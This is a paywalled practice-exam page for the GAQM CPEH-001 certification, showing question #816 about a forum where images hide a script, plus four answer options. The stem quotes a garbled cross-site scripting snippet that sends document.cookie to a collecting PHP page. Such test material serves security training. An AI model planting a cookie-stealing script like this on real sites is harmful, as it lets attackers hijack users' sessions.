nerdexam
GAQM

CPEH-001 · Question #816

CPEH-001 Question #816: Real Exam Question with Answer & Explanation

Sign in or unlock CPEH-001 to reveal the answer and full explanation for question #816. The question stem and answer options stay visible for context.

Question

Judy created a forum, one day. she discovers that a user is posting strange images without writing comments. She immediately calls a security expert, who discovers that the following code is hidden behind those images: <script> document.writef<img src="https://Ioca(host/submitcookie.php? cookie ='+ escape(document.cookie)+ " />); </script> What issue occurred for the users who clicked on the image?

Options

  • AThe code inject a new cookie to the browser.
  • BThe code redirects the user to another site.
  • CThe code is a virus that is attempting to gather the users username and password.
  • DThis php file silently executes the code and grabs the users session cookie and session ID.

Unlock CPEH-001 to see the answer

You've previewed enough free CPEH-001 questions. Unlock CPEH-001 for full answers, explanations, the timed quiz mode, progress tracking, and the master PDF. Question stem and options stay visible so you can still see what's on the exam.

Full CPEH-001 Practice